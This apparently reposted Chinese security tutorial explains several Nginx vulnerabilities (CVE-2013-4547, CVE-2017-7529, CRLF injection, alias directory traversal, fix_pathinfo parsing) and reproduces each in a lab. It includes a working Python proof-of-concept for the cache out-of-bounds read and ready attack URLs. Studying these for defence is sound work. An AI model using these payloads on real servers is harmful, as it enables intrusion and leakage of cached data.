中间件漏洞之Nginx

Posted g0udan

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了中间件漏洞之Nginx相关的知识,希望对你有一定的参考价值。

nginx解析漏洞 (CVE-2013-4547)

  • 影响版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
  • 漏洞简析
    pathinfo是默认关闭的,只有.php后缀的文件会被发送给fastcgi解析
    CVE-2013-4547的原理是通过非法字符空格和截止符(\\0)会导致Nginx解析URI时的有限状态机混乱,危害是允许攻击者通过一个非编码空格绕过后缀名限制。当我们请求1.gif[0x20][0x00].php时,Nginx认为1.gif[0x20]的后缀名是.php,便将1.gif[0x20]作为php解析,造成解析漏洞
  • 漏洞复现

    上传一张正常图片,访问图片链接得到的是正常图片
    给正常图片后缀添加[0x20]上传,访问链接192.168.232.128:8080/uploadfiles/1.jpg发现404图片不存在,404是由Nginx给出的,访问192.168.232.128:8080/uploadfiles/1.jpg[0x20],弹出下载图片,图片没有解析

    将2.jpg的内容写入phpinfo上传,同样后缀加上空格

    然后访问2.jpg[0x20][0x00].php
    用brup修改Hex,改成20和00,00表示00截断

    发现已经解析成php
    Linux中文件可以以空格结尾,在Windows中,文件名不能以空格结尾,所以Windows程序遇到文件名“test.jpg ”会自动去掉最后的空格,等同于访问“test.jpg”,基于这样的原因,这一漏洞在Windows中会很容易利用。
    参考链接
    https://blog.werner.wiki/file-resolution-vulnerability-nginx/
    http://www.91ri.org/9064.html
    https://vulhub.org/#/environments/nginx/CVE-2013-4547/

Nginx越界读取缓存漏洞(CVE-2017-7529)

  • 影响版本:Nginx 0.5.6 - 1.13.2
  • 漏洞简析
    Nginx在反向代理站点的时候,通常会将一些文件进行缓存,特别是静态文件。缓存的部分存储在文件中,每个缓存文件包括“文件头”+“HTTP返回包头”+“HTTP返回包体”。如果二次请求命中了该缓存文件,则Nginx会直接将该文件中的“HTTP返回包体”返回给用户。

    如果我的请求中包含Range头,Nginx将会根据我指定的start和end位置,返回指定长度的内容。而如果我构造了两个负的位置,如(-600, -9223372036854774591),将可能读取到负位置的数据。如果这次请求又命中了缓存文件,则可能就可以读取到缓存文件中位于“HTTP返回包体”前的“文件头”、“HTTP返回包头”等内容。
  • 漏洞复现

    可见,越界读取到了位于“HTTP返回包体”前的“文件头”、“HTTP返回包头”等内容。
    如果读取有误,请调整poc.py中的偏移地址(605)。
    poc.py文件内容
#!/usr/bin/env python
import sys
import requests

if len(sys.argv) < 2:
    print("%s url" % (sys.argv[0]))
    print("eg: python %s http://your-ip:8080/" % (sys.argv[0]))
    sys.exit()

headers = {
    \'User-Agent\': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (Khtml, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240"
}
offset = 605
url = sys.argv[1]
file_len = len(requests.get(url, headers=headers).content)
n = file_len + offset
headers[\'Range\'] = "bytes=-%d,-%d" % (
    n, 0x8000000000000000 - n)

r = requests.get(url, headers=headers)
print(r.text)

参考文章
https://vulhub.org/#/environments/nginx/CVE-2017-7529/
https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Range_requests

Nginx 配置错误导致漏洞

CRLF注入漏洞

  • 漏洞简析
    nginx中配置路径跳转使用了$uri或$document_uri,$uri 和 $document_uri表示的是解码以后的请求路径,导致传入%0a%0d即可引入换行符,造成CRLF注入漏洞
  • 漏洞复现
    访问http://your-ip:8080/%0a%0dSet-Cookie:%20a=1,用burp抓包发现Set-Cookie注入成功

目录穿越漏洞

  • 漏洞简析
    Nginx在配置别名(Alias)的时候,如果忘记加/,将造成一个目录穿越漏洞。
    错误的配置文件示例(原本的目的是为了让用户访问到/home/目录下的文件):
location /files {
    alias /home/;
}

当我们访问/files../时,nginx实际处理的路径时/home/../,从而实现了穿越目录。

  • 漏洞复现
    访问http://your-ip:port/files../

解析漏洞

  • 漏洞简析
    如果将nginx.conf配置成把.php后缀的文件交给fastcgi处理,当这个文件(.php)不存在并且php.ini配置文件中cgi.fix_pathinfo=1(如果当前路径不存在则采用上层路径),这是fastcgi处理.php上一级的文件

  • 漏洞复现
    访问含有phpinfo的图片http://192.168.232.128/uploadfiles/nginx.png,发现没有解析

    在url中文件后加上/.php,如:http://192.168.232.128/uploadfiles/nginx.png/.php,发现已经解析成php文件

  • 修复方式
    cgi.fix_pathinfo的值设为0,php-fpm.conf中的security.limit_extensions的值设为.php

参考文章:https://www.cnblogs.com/yuzly/p/11208742.html

以上是关于中间件漏洞之Nginx的主要内容,如果未能解决你的问题,请参考以下文章

Nginx中间件漏洞

中间件漏洞总结- Nginx

Web中间件常见漏洞总结

Web中间件常见漏洞总结

中间件安全Tomcat&Nginx解析&爆破&CVE漏洞

中间件安全-nginx目录穿越